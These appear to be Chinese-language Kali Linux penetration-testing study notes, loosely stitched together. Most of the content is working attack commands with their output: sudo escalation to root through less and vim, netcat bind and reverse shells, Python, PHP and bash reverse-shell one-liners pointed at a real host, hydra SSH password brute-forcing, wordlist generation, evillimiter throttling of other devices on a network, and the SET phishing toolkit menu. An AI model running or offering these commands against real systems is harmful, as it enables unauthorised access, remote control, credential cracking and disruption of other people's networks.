五部分:服务器、中间件、数据库、代码、静态资源
Apache、nginx、Tomcat、IIS
桥接模式:和真实物理机进行连接,也可以正常上网。 NAT模式:无法与物理机进行连接,可以正常上网。 仅主机模式:可以和你物理机正常连接,不能上网。

# 进入 /etc/sudoers文件
vim /etc/sudoers
# 在 root ALL=(ALL) ALL 下方添加配置,并保存
varin ALL=/usr/bin/less # varin 为系统可使用的用户;less命令用户查看文件信息
# 当前用户为varin,使用less查看/etc/passwd文件信息,
sudo less /etc/passwd
#文件信息展示后,在下方输入 !/bin/bash,则可以提权到root
!/bin/bashvim /etc/sudoers
test ALL=/usr/bin/vim
su test
sudo vim -C "!bash"
# 进入到vim编辑页面 在底行命令模式输入:
:!/bin/bash
# 可以进入到root
#过程:
# ┌──(varin㉿kali)-[~]
# └─$ su test
# Password:
# $ sudo vim -C '!bash'
# [sudo] password for test:
# ┌──(root㉿kali)-[/home/varin]
# └─# # 选择源
# 中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
# 阿里云源
deb https://mirrors.aliyun.com/debian/ bullseye main non-free contrib
deb-src https://mirrors.aliyun.com/debian/ bullseye main non-free contrib
deb https://mirrors.aliyun.com/debian-security/ bullseye-security main
deb-src https://mirrors.aliyun.com/debian-security/ bullseye-security main
deb https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib
deb-src https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib
deb https://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib
deb-src https://mirrors.aliyun.com/debian/ bullseye-backports main non-free
# 清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
# 浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
# 东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
# 重庆大学源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contribvim /etc/ssh/sshd_config
# 修改3条
Port 22
PermitRootLogin yes
PasswordAuthentication yes
# 修改后保存,重起ssh
service ssh restart 
# 开启10005端口的监听模式,并输出详细信息 攻击机
nc -lvp 10005
# listening on [any] 10005 ... # 等待连接
# 靶机
nc www.varin.cn 10005Last login: Wed Jun 5 09:01:50 2024 from 110.90.8.132
┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# nc -lvp 10005 >a.txt
listening on [any] 10005 ...
Warning: forward host lookup failed for 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn: Unknown host
connect to [172.29.226.231] from 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn [110.90.8.132] 2766
^C
┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# ^C
┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# ls
a.txt Documents Music Public thinclient_drives
Desktop Downloads Pictures Templates Videos
┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# cat a.txt
abc
┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─#┌──(root㉿kali)-[~]
└─# echo 'abc'>varin.txt
┌──(root㉿kali)-[~]
└─# ls
10.196.93.1 Desktop Music SMBGhost Videos test.exe
39772.zip Documents Pictures SMBGhost_RCE_PoC dm3 varin.txt
CVE-2020-0796-PoC Downloads Public Templates test
┌──(root㉿kali)-[~]
└─# nc www.varin.cn 10005 <varin.txt
┌──(root㉿kali)-[~]
└─#┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# nc -lvp 10005 -e /bin/bash
listening on [any] 10005 ...
Warning: forward host lookup failed for 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn: Unknown host
connect to [172.29.226.231] from 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn [110.90.8.132] 2865┌──(root㉿kali)-[~]
└─# nc www.varin.cn 10005
ls
a.txt
Desktop
Documents
Downloads
Music┌──(root㉿iZbp1816pavof35l1l0ylhZ)-[~]
└─# nc -lvp 10005
listening on [any] 10005 ...
Warning: forward host lookup failed for 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn: Unknown host
connect to [172.29.226.231] from 132.8.90.110.broad.fz.fj.dynamic.163data.com.cn [110.90.8.132] 3112
ls
# 10.196.93.1
# 39772.zip
# CVE-2020-0796-PoC
# Desktop
# Documents
# Downloads
# Music
# Pictures
# Public
# SMBGhost
# SMBGhost_RCE_PoC
# Templates
# Videos
# dm3
# test
# test.exe
varin.txt
python -c "import pty;pty.spawn('/bin/bash')"
┌──(root㉿kali)-[~]
└─# ls
ls
# 10.196.93.1 Desktop Music SMBGhost Videos test.exe
# 39772.zip Documents Pictures SMBGhost_RCE_PoC dm3 varin.txt
# CVE-2020-0796-PoC Downloads Public Templates test
┌──(root㉿kali)-[~]
└─# cd /home
cd /home
┌──(root㉿kali)-[/home]
└─# ls
ls
# perm.txt varin┌──(root㉿kali)-[~]
└─# nc www.varin.cn 10005 -e '/bin/bash'# 靶机 windows
nc www.varin.cn 1005 -e C:/windowns/system32/cmd.exe
# 攻击机
nc -lvp 10005# 修改IP 端口
# 注意 如果第一次连接失败,可以尝试将 /bin/bash 修改为 /bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'# 修改IP 端口
# 注意 如果第一次连接失败,可以尝试将 /bin/bash 修改为 /bin/sh
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'# 修改IP 端口
bash -i >& /dev/tcp/www.varin.cn/10005 0>&1nmap --script=vuln ipnmap ip -p 1-65535 -T4 -A -vnmap -sP 192.168.1.0/24
#
# l 用户名
# L 用户名字典
# P 密码字典
# p 密码
# F 匹配成功结束
# t 线程数量
# v 详细信息
# 案例
hydra -l varin -p varin ssh://192.168.198.129:22 -F
# 结果
# Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
# Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-06 08:46:00
# [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
# [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
# [DATA] attacking ssh://192.168.198.129:22/
# [22][ssh] host: 192.168.198.129 login: varin password: varin
# [STATUS] attack finished for 192.168.198.129 (valid pair found)
# 1 of 1 target successfully completed, 1 valid password found
# Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-06 08:46:01# -f 根据密码库中的模块名生成对应密码字典
# -o 指定保存位置
crunch 6 6 -f /usr/share/crunch/charset.lst hex-lower -o 1.txt # 生成 8 到12位包含123的字典
┌──(root㉿kali)-[~/temp]
└─# crunch 8 12 123 >passwd1.txt
Crunch will now generate the following amount of data: 9939915 bytes
9 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 793881
┌──(root㉿kali)-[~/temp]# -w 生成字典保存位置
# -m 生成密码位数
┌──(root㉿kali)-[~/temp]
└─# touch passwd.txt
┌──(root㉿kali)-[~/temp]
└─# ls
passwd.txt
┌──(root㉿kali)-[~/temp]
└─# cewl http://www.baidu.com -w passwd.txt
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
┌──(root㉿kali)-[~/temp]
└─# ll
total 16
-rw-r--r-- 1 root root 15253 Jun 6 08:57 passwd.txt
# 结果
┌──(root㉿kali)-[~/temp]
└─# cat passwd.txt
color
new
pmd
border
background
width
height
margin
font# 开启apache2中间件,使用ip默认访问apache2页面
servservice apache2 start
# 网站保存位置 :/var/www/html
┌──(root㉿kali)-[/var/www/html]
└─# ls
index.html index.nginx-debian.html 
# 删除原文件 rm -rf index.hmlt
# 新建原文件并添加代码雨内容
rm -rf index.html
vim index.html<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Code</title>
<style>
body{
margin: 0;
overflow: hidden;
}
</style>
</head>
<body>
<canvas id="myCanvas"></canvas>
<script>
const width = document.getElementById("myCanvas").width = screen.availWidth;
const height = document.getElementById("myCanvas").height = screen.availHeight;
const ctx = document.getElementById("myCanvas").getContext("2d");
const arr = Array(Math.ceil(width / 10)).fill(0);
const str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split("");
function rain() {
ctx.fillStyle = "rgba(0,0,0,0.05)";
ctx.fillRect(0, 0, width, height);
ctx.fillStyle = "#0f0";
arr.forEach(function (value, index) {
ctx.fillText(str[Math.floor(Math.random() * str.length)], index * 10, value + 10);
arr[index] = value >= height || value > 8888 * Math.random() ? 0 : value + 10;
});
}
setInterval(rain, 30);
</script>
</body>
</html>
git clone https://github.com/bitbrute/evillimiter.git
cd evillimiter
sudo python3 setup.py installevillimiter
# ███████╗██╗ ██╗██╗██╗ ██╗ ██╗███╗ ███╗██╗████████╗███████╗██████╗
# ██╔════╝██║ ██║██║██║ ██║ ██║████╗ ████║██║╚══██╔══╝██╔════╝██╔══██╗
# █████╗ ██║ ██║██║██║ ██║ ██║██╔████╔██║██║ ██║ █████╗ ██████╔╝
# ██╔══╝ ╚██╗ ██╔╝██║██║ ██║ ██║██║╚██╔╝██║██║ ██║ ██╔══╝ ██╔══██╗
# ███████╗ ╚████╔╝ ██║███████╗ ███████╗██║██║ ╚═╝ ██║██║ ██║ ███████╗██║ ██║
# ╚══════╝ ╚═══╝ ╚═╝╚══════╝ ╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
# by bitbrute ~ limit devices on your network :3
# v1.5.0
# OK interface: eth1
# OK gateway ip: 192.168.198.2
# OK gateway mac: 00:50:56:f7:f2:9c
# OK netmask: 255.255.255.0
# type help or ? to show command information.
# (Main) >>> evillimiterscan#limit + housts编号 + 限速
# 1kbit 为限速为1kb
limit 0 1kbit
#或者
#limit + ip + 限速
limit 192.168.0.1 1kbitsetoolkit
# 主菜单 功能
# 1)Spear-Phishing Attack Vectors:鱼叉式网络钓鱼攻击向量
# 2)Website Attack Vectors:网页攻击向量
# 3)Infectious Media Generator:感染式媒介生成器
# 4) Create a Payload and Listener:创建Payload和Listener
# 5)Mass Mailer Attack:海量邮件攻击
# 6)Arduino-Based Attack Vector:基于Arduino的硬件攻击向量
# 7)Wireless Access Point Attack Vector:无线热点攻击向量
# 8)QRCode Generator Attack Vector:二维码攻击向量
# 9)Powershell Attack Vectors:Powershell攻击向量
# 10)Third Party Modules:第三方模块
# 99)返回到主菜单。
============================================= 